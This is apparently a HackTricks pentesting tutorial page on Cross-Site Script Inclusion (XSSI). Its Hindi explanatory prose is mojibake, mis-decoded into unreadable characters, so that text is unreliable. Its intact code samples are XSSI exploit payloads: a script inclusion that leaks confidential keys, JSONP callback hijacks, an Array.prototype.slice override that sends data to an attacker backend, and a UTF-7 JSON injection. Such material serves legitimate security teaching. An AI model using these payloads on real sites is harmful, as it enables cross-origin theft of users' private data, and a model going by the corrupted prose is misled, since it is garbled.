hacktricks/pentesting-web/xssi-cross-site-script-inclusion.md

13 KiB

XSSI (Cross-Site Script Inclusion)

{% hint style="success" %} Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks
{% endhint %}

Basic Information

Cross-Site Script Inclusion (XSSI) рдПрдХ рд╕реБрд░рдХреНрд╖рд╛ рдХрдордЬреЛрд░реА рд╣реИ рдЬреЛ HTML рдореЗрдВ script рдЯреИрдЧ рдХреА рдкреНрд░рдХреГрддрд┐ рд╕реЗ рдЙрддреНрдкрдиреНрди рд╣реЛрддреА рд╣реИред рдЕрдзрд┐рдХрд╛рдВрд╢ рд╕рдВрд╕рд╛рдзрдиреЛрдВ рдХреЗ рд╡рд┐рдкрд░реАрдд, рдЬреЛ Same-Origin Policy (SOP) рдХреЗ рдЕрдзреАрди рд╣реЛрддреЗ рд╣реИрдВ, рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдХреЛ рд╡рд┐рднрд┐рдиреНрди рдбреЛрдореЗрди рд╕реЗ рд╢рд╛рдорд┐рд▓ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред рдпрд╣ рд╡реНрдпрд╡рд╣рд╛рд░ рд╡рд┐рднрд┐рдиреНрди рд╕рд░реНрд╡рд░реЛрдВ рдкрд░ рд╣реЛрд╕реНрдЯ рдХреА рдЧрдИ рд▓рд╛рдЗрдмреНрд░реЗрд░реА рдФрд░ рдЕрдиреНрдп рд╕рдВрд╕рд╛рдзрдиреЛрдВ рдХреЗ рдЙрдкрдпреЛрдЧ рдХреЛ рд╕реБрд╡рд┐рдзрд╛рдЬрдирдХ рдмрдирд╛рдиреЗ рдХреЗ рд▓рд┐рдП рд╣реИ, рд▓реЗрдХрд┐рди рдпрд╣ рдПрдХ рд╕рдВрднрд╛рд╡рд┐рдд рд╕реБрд░рдХреНрд╖рд╛ рдЬреЛрдЦрд┐рдо рднреА рдкреНрд░рд╕реНрддреБрдд рдХрд░рддрд╛ рд╣реИред

Key Characteristics of XSSI:

  • SOP рдХрд╛ рдмрд╛рдИрдкрд╛рд╕: рд╕реНрдХреНрд░рд┐рдкреНрдЯ Same-Origin Policy рд╕реЗ рдЫреВрдЯ рдкреНрд░рд╛рдкреНрдд рдХрд░рддреА рд╣реИрдВ, рдЬрд┐рд╕рд╕реЗ рдЙрдиреНрд╣реЗрдВ рд╡рд┐рднрд┐рдиреНрди рдбреЛрдореЗрди рдореЗрдВ рд╢рд╛рдорд┐рд▓ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред
  • рдбреЗрдЯрд╛ рдПрдХреНрд╕рдкреЛрдЬрд░: рдПрдХ рд╣рдорд▓рд╛рд╡рд░ рдЗрд╕ рд╡реНрдпрд╡рд╣рд╛рд░ рдХрд╛ рд▓рд╛рдн рдЙрдард╛рдХрд░ script рдЯреИрдЧ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рд▓реЛрдб рдХрд┐рдП рдЧрдП рдбреЗрдЯрд╛ рдХреЛ рдкрдврд╝ рд╕рдХрддрд╛ рд╣реИред
  • рдбрд╛рдпрдирд╛рдорд┐рдХ JavaScript/JSONP рдкрд░ рдкреНрд░рднрд╛рд╡: XSSI рд╡рд┐рд╢реЗрд╖ рд░реВрдк рд╕реЗ рдбрд╛рдпрдирд╛рдорд┐рдХ JavaScript рдпрд╛ JSON with Padding (JSONP) рдХреЗ рд▓рд┐рдП рдкреНрд░рд╛рд╕рдВрдЧрд┐рдХ рд╣реИред рдпреЗ рддрдХрдиреАрдХреЗрдВ рдЕрдХреНрд╕рд░ рдкреНрд░рдорд╛рдгреАрдХрд░рдг рдХреЗ рд▓рд┐рдП "ambient-authority" рдЬрд╛рдирдХрд╛рд░реА (рдЬреИрд╕реЗ рдХреБрдХреАрдЬрд╝) рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддреА рд╣реИрдВред рдЬрдм рдХрд┐рд╕реА рдЕрдиреНрдп рд╣реЛрд╕реНрдЯ рдкрд░ рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдЕрдиреБрд░реЛрдз рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рддреЛ рдпреЗ рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓реНрд╕ (рдЬреИрд╕реЗ рдХреБрдХреАрдЬрд╝) рд╕реНрд╡рдЪрд╛рд▓рд┐рдд рд░реВрдк рд╕реЗ рдЕрдиреБрд░реЛрдз рдореЗрдВ рд╢рд╛рдорд┐рд▓ рд╣реЛ рдЬрд╛рддреЗ рд╣реИрдВред
  • рдкреНрд░рдорд╛рдгреАрдХрд░рдг рдЯреЛрдХрди рд▓реАрдХ: рдпрджрд┐ рдПрдХ рд╣рдорд▓рд╛рд╡рд░ рдХрд┐рд╕реА рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЗ рдмреНрд░рд╛рдЙрдЬрд╝рд░ рдХреЛ рдПрдХ рд╕рд░реНрд╡рд░ рд╕реЗ рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдЕрдиреБрд░реЛрдз рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдзреЛрдЦрд╛ рджреЗ рд╕рдХрддрд╛ рд╣реИ, рддреЛ рд╡реЗ рдЗрди рдЕрдиреБрд░реЛрдзреЛрдВ рдореЗрдВ рдирд┐рд╣рд┐рдд рд╕рдВрд╡реЗрджрдирд╢реАрд▓ рдЬрд╛рдирдХрд╛рд░реА рддрдХ рдкрд╣реБрдБрдЪ рд╕рдХрддреЗ рд╣реИрдВред

Types

  1. Static JavaScript - рдпрд╣ XSSI рдХрд╛ рдкрд╛рд░рдВрдкрд░рд┐рдХ рд░реВрдк рд╣реИред
  2. Static JavaScript with Authentication - рдпрд╣ рдкреНрд░рдХрд╛рд░ рд╡рд┐рд╢рд┐рд╖реНрдЯ рд╣реИ рдХреНрдпреЛрдВрдХрд┐ рдЗрд╕реЗ рдПрдХреНрд╕реЗрд╕ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдкреНрд░рдорд╛рдгреАрдХрд░рдг рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реЛрддреА рд╣реИред
  3. Dynamic JavaScript - рдЗрд╕рдореЗрдВ рд╡рд╣ JavaScript рд╢рд╛рдорд┐рд▓ рд╣реИ рдЬреЛ рдбрд╛рдпрдирд╛рдорд┐рдХ рд░реВрдк рд╕реЗ рд╕рд╛рдордЧреНрд░реА рдЙрддреНрдкрдиреНрди рдХрд░рддрд╛ рд╣реИред
  4. Non-JavaScript - рдпрд╣ рдЙрди рдХрдордЬреЛрд░рд┐рдпреЛрдВ рдХреЛ рд╕рдВрджрд░реНрднрд┐рдд рдХрд░рддрд╛ рд╣реИ рдЬреЛ рд╕реАрдзреЗ JavaScript рд╕реЗ рд╕рдВрдмрдВрдзрд┐рдд рдирд╣реАрдВ рд╣реИрдВред

The following information is a sumary of https://www.scip.ch/en/?labs.20160414. Check it for further details.

Regular XSSI

рдЗрд╕ рджреГрд╖реНрдЯрд┐рдХреЛрдг рдореЗрдВ, рдирд┐рдЬреА рдЬрд╛рдирдХрд╛рд░реА рдПрдХ рд╡реИрд╢реНрд╡рд┐рдХ рд░реВрдк рд╕реЗ рд╕реБрд▓рдн JavaScript рдлрд╝рд╛рдЗрд▓ рдореЗрдВ рдПрдореНрдмреЗрдб рдХреА рдЬрд╛рддреА рд╣реИред рд╣рдорд▓рд╛рд╡рд░ рдЗрди рдлрд╝рд╛рдЗрд▓реЛрдВ рдХреА рдкрд╣рдЪрд╛рди рдлрд╝рд╛рдЗрд▓ рдкрдврд╝рдиреЗ, рдХреАрд╡рд░реНрдб рдЦреЛрдЬрдиреЗ, рдпрд╛ рдирд┐рдпрдорд┐рдд рдЕрднрд┐рд╡реНрдпрдХреНрддрд┐рдпреЛрдВ рдЬреИрд╕реЗ рддрд░реАрдХреЛрдВ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред рдПрдХ рдмрд╛рд░ рдЬрдм рдпреЗ рдлрд╝рд╛рдЗрд▓реЗрдВ рдорд┐рд▓ рдЬрд╛рддреА рд╣реИрдВ, рддреЛ рдирд┐рдЬреА рдЬрд╛рдирдХрд╛рд░реА рд╡рд╛рд▓реА рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдХреЛ рджреБрд░реНрднрд╛рд╡рдирд╛рдкреВрд░реНрдг рд╕рд╛рдордЧреНрд░реА рдореЗрдВ рд╢рд╛рдорд┐рд▓ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ, рдЬрд┐рд╕рд╕реЗ рд╕рдВрд╡реЗрджрдирд╢реАрд▓ рдбреЗрдЯрд╛ рддрдХ рдЕрдирдзрд┐рдХреГрдд рдкрд╣реБрдБрдЪ рдкреНрд░рд╛рдкреНрдд рд╣реЛрддреА рд╣реИред рдПрдХ рдЙрджрд╛рд╣рд░рдг рд╢реЛрд╖рдг рддрдХрдиреАрдХ рдиреАрдЪреЗ рджрд┐рдЦрд╛рдИ рдЧрдИ рд╣реИ:

<script src="https://www.vulnerable-domain.tld/script.js"></script>
<script> alert(JSON.stringify(confidential_keys[0])); </script>

Dynamic-JavaScript-based-XSSI рдФрд░ Authenticated-JavaScript-XSSI

рдЗрди рдкреНрд░рдХрд╛рд░ рдХреЗ XSSI рд╣рдорд▓реЛрдВ рдореЗрдВ рд╕рдВрд╡реЗрджрдирд╢реАрд▓ рдЬрд╛рдирдХрд╛рд░реА рдХреЛ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЗ рдЕрдиреБрд░реЛрдз рдХреЗ рдЬрд╡рд╛рдм рдореЗрдВ рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдореЗрдВ рдЧрддрд┐рд╢реАрд▓ рд░реВрдк рд╕реЗ рдЬреЛрдбрд╝рд╛ рдЬрд╛рддрд╛ рд╣реИред рдкрд╣рдЪрд╛рди рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХреБрдХреАрдЬрд╝ рдХреЗ рд╕рд╛рде рдФрд░ рдмрд┐рдирд╛ рдЕрдиреБрд░реЛрдз рднреЗрдЬрдХрд░ рдФрд░ рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛рдУрдВ рдХреА рддреБрд▓рдирд╛ рдХрд░рдХреЗ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред рдпрджрд┐ рдЬрд╛рдирдХрд╛рд░реА рднрд┐рдиреНрди рд╣реЛрддреА рд╣реИ, рддреЛ рдпрд╣ рд╕рдВрд╡реЗрджрдирд╢реАрд▓ рдЬрд╛рдирдХрд╛рд░реА рдХреА рдЙрдкрд╕реНрдерд┐рддрд┐ рдХрд╛ рд╕рдВрдХреЗрдд рджреЗ рд╕рдХрддрд╛ рд╣реИред рдЗрд╕ рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХреЛ DetectDynamicJS рдмрд░реНрдк рдПрдХреНрд╕рдЯреЗрдВрд╢рди рдЬреИрд╕реЗ рдЙрдкрдХрд░рдгреЛрдВ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рд╕реНрд╡рдЪрд╛рд▓рд┐рдд рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред

рдпрджрд┐ рд╕рдВрд╡реЗрджрдирд╢реАрд▓ рдбреЗрдЯрд╛ рдПрдХ рд╡реИрд╢реНрд╡рд┐рдХ рдЪрд░ рдореЗрдВ рд╕рдВрдЧреНрд░рд╣реАрдд рд╣реИ, рддреЛ рдЗрд╕реЗ рдирд┐рдпрдорд┐рдд XSSI рдореЗрдВ рдЙрдкрдпреЛрдЧ рдХрд┐рдП рдЧрдП рд╕рдорд╛рди рддрд░реАрдХреЛрдВ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рд╢реЛрд╖рд┐рдд рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред рд╣рд╛рд▓рд╛рдБрдХрд┐, рдпрджрд┐ рд╕рдВрд╡реЗрджрдирд╢реАрд▓ рдбреЗрдЯрд╛ JSONP рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рдореЗрдВ рд╢рд╛рдорд┐рд▓ рд╣реИ, рддреЛ рд╣рдорд▓рд╛рд╡рд░ рдЬрд╛рдирдХрд╛рд░реА рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХреЙрд▓рдмреИрдХ рдлрд╝рдВрдХреНрд╢рди рдХреЛ рд╣рд╛рдИрдЬреИрдХ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред рдпрд╣ рд╡реИрд╢реНрд╡рд┐рдХ рд╡рд╕реНрддреБрдУрдВ рдореЗрдВ рд╣реЗрд░рдлреЗрд░ рдХрд░рдХреЗ рдпрд╛ JSONP рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рджреНрд╡рд╛рд░рд╛ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рд╣реЛрдиреЗ рдХреЗ рд▓рд┐рдП рдПрдХ рдлрд╝рдВрдХреНрд╢рди рд╕реЗрдЯ рдХрд░рдХреЗ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ, рдЬреИрд╕рд╛ рдХрд┐ рдиреАрдЪреЗ рдкреНрд░рджрд░реНрд╢рд┐рдд рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ:

<script>
var angular = function () { return 1; };
angular.callbacks = function () { return 1; };
angular.callbacks._7 = function (leaked) {
alert(JSON.stringify(leaked));
};
</script>
<script src="https://site.tld/p?jsonp=angular.callbacks._7" type="text/javascript"></script>
<script>
leak = function (leaked) {
alert(JSON.stringify(leaked));
};
</script>
<script src="https://site.tld/p?jsonp=leak" type="text/javascript"></script>

рдЧреНрд▓реЛрдмрд▓ рдирд╛рдорд╕реНрдерд╛рди рдореЗрдВ рди рд░рд╣рдиреЗ рд╡рд╛рд▓реЗ рд╡реЗрд░рд┐рдПрдмрд▓реНрд╕ рдХреЗ рд▓рд┐рдП, prototype tampering рдХрднреА-рдХрднреА рд╢реЛрд╖рд┐рдд рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред рдпрд╣ рддрдХрдиреАрдХ JavaScript рдХреЗ рдбрд┐рдЬрд╝рд╛рдЗрди рдХрд╛ рд▓рд╛рдн рдЙрдард╛рддреА рд╣реИ, рдЬрд╣рд╛рдБ рдХреЛрдб рд╡реНрдпрд╛рдЦреНрдпрд╛ рдореЗрдВ рдХреЙрд▓ рдХреА рдЧрдИ рдкреНрд░реЙрдкрд░реНрдЯреА рдХреЛ рдЦреЛрдЬрдиреЗ рдХреЗ рд▓рд┐рдП рдкреНрд░реЛрдЯреЛрдЯрд╛рдЗрдк рдЪреЗрди рдХреЛ рдкрд╛рд░ рдХрд░рдирд╛ рд╢рд╛рдорд┐рд▓ рд╣реЛрддрд╛ рд╣реИред рдХреБрдЫ рдлрд╝рдВрдХреНрд╢рдВрд╕, рдЬреИрд╕реЗ Array рдХреЗ slice рдХреЛ рдУрд╡рд░рд░рд╛рдЗрдб рдХрд░рдХреЗ, рд╣рдорд▓рд╛рд╡рд░ рдЧреИрд░-рдЧреНрд▓реЛрдмрд▓ рд╡реЗрд░рд┐рдПрдмрд▓реНрд╕ рддрдХ рдкрд╣реБрдБрдЪ рд╕рдХрддреЗ рд╣реИрдВ рдФрд░ рдЙрдиреНрд╣реЗрдВ рд▓реАрдХ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ:

Array.prototype.slice = function(){
// leaks ["secret1", "secret2", "secret3"]
sendToAttackerBackend(this);
};

Further details on attack vectors can be found in the work of Security Researcher Sebastian Lekies, who maintains a list of vectors.

Non-Script-XSSI

Takeshi Terada рдХрд╛ рд╢реЛрдз XSSI рдХрд╛ рдПрдХ рдФрд░ рд░реВрдк рдкреНрд░рд╕реНрддреБрдд рдХрд░рддрд╛ рд╣реИ, рдЬрд╣рд╛рдБ Non-Script рдлрд╝рд╛рдЗрд▓реЗрдВ, рдЬреИрд╕реЗ CSV, рдХреЛ script рдЯреИрдЧ рдореЗрдВ рд╕реНрд░реЛрдд рдХреЗ рд░реВрдк рдореЗрдВ рд╢рд╛рдорд┐рд▓ рдХрд░рдХреЗ рдХреНрд░реЙрд╕-рдУрд░рд┐рдЬрд┐рди рд▓реАрдХ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред XSSI рдХреЗ рдРрддрд┐рд╣рд╛рд╕рд┐рдХ рдЙрджрд╛рд╣рд░рдг, рдЬреИрд╕реЗ Jeremiah Grossman рдХрд╛ 2006 рдХрд╛ рд╣рдорд▓рд╛ рдЬреЛ рдПрдХ рдкреВрд░реНрдг Google рдкрддрд╛ рдкреБрд╕реНрддрдХ рдкрдврд╝рдиреЗ рдХреЗ рд▓рд┐рдП рдерд╛ рдФрд░ Joe Walker рдХрд╛ 2007 рдХрд╛ JSON рдбреЗрдЯрд╛ рд▓реАрдХ, рдЗрди рдЦрддрд░реЛрдВ рдХреА рдЧрдВрднреАрд░рддрд╛ рдХреЛ рдЙрдЬрд╛рдЧрд░ рдХрд░рддреЗ рд╣реИрдВред рдЗрд╕рдХреЗ рдЕрддрд┐рд░рд┐рдХреНрдд, Gareth Heyes рдПрдХ рд╣рдорд▓реЗ рдХреЗ рд░реВрдкрд╛рдВрддрд░ рдХрд╛ рд╡рд░реНрдгрди рдХрд░рддреЗ рд╣реИрдВ рдЬрд┐рд╕рдореЗрдВ UTF-7 рдПрдиреНрдХреЛрдбреЗрдб JSON рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ рддрд╛рдХрд┐ JSON рдкреНрд░рд╛рд░реВрдк рд╕реЗ рдмрдЪрд╛ рдЬрд╛ рд╕рдХреЗ рдФрд░ рд╕реНрдХреНрд░рд┐рдкреНрдЯреНрд╕ рдХреЛ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХреЗ, рдЬреЛ рдХреБрдЫ рдмреНрд░рд╛рдЙрдЬрд╝рд░реЛрдВ рдореЗрдВ рдкреНрд░рднрд╛рд╡реА рд╣реИ:

[{'friend':'luke','email':'+ACcAfQBdADsAYQBsAGUAcgB0ACgAJwBNAGEAeQAgAHQAaABlACAAZgBvAHIAYwBlACAAYgBlACAAdwBpAHQAaAAgAHkAbwB1ACcAKQA7AFsAewAnAGoAbwBiACcAOgAnAGQAbwBuAGU-'}]
<script src="http://site.tld/json-utf7.json" type="text/javascript" charset="UTF-7"></script>

{% hint style="success" %} рд╕реАрдЦреЗрдВ рдФрд░ AWS рд╣реИрдХрд┐рдВрдЧ рдХрд╛ рдЕрднреНрдпрд╛рд╕ рдХрд░реЗрдВ:HackTricks Training AWS Red Team Expert (ARTE)
рд╕реАрдЦреЗрдВ рдФрд░ GCP рд╣реИрдХрд┐рдВрдЧ рдХрд╛ рдЕрднреНрдпрд╛рд╕ рдХрд░реЗрдВ: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks рдХрд╛ рд╕рдорд░реНрдерди рдХрд░реЗрдВ
{% endhint %}